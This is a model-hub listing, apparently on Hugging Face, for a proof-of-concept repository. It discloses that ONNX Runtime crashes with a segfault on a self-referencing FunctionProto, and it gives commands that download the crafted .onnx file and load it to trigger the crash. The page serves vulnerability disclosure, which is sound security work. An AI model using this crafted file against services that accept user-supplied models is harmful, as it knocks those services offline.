Downloads · 30 days
0
onnxruntime-recursive-dos-poc
Yash1106/onnxruntime-recursive-dos-poc
onnxruntime-recursive-dos-poc is a machine learning model from Yash1106. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
ONNX Runtime crashes (SIGSEGV) when loading a model with self-referencing FunctionProto.
Access
Public
Updated Jan 28, 2026
Repo size
237 B
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 63%
At a glance
- Access
- Public
- Created
- Jan 28, 2026
- Updated
- Jan 28, 2026
- SHA
- 8a198fc3
Model card
From the Hugging Face model README
ONNX Runtime Recursive FunctionProto DoS PoC
Vulnerability
ONNX Runtime crashes (SIGSEGV) when loading a model with self-referencing FunctionProto.
CWE
CWE-674: Uncontrolled Recursion
Affected
- onnxruntime 1.19.2 (and likely all versions)
Reproduce
pip install onnx onnxruntime
wget https://huggingface.co/Yash1106/onnxruntime-recursive-dos-poc/resolve/main/recursive_dos_poc.onnx
python3 -c "import onnxruntime as ort; ort.InferenceSession('recursive_dos_poc.onnx')"
# Crashes with exit code 139 (SIGSEGV)
Note
ONNX checker passes this model - the vulnerability is in onnxruntime's function expansion.
- Created
- Jan 28, 2026
- Updated
- Jan 28, 2026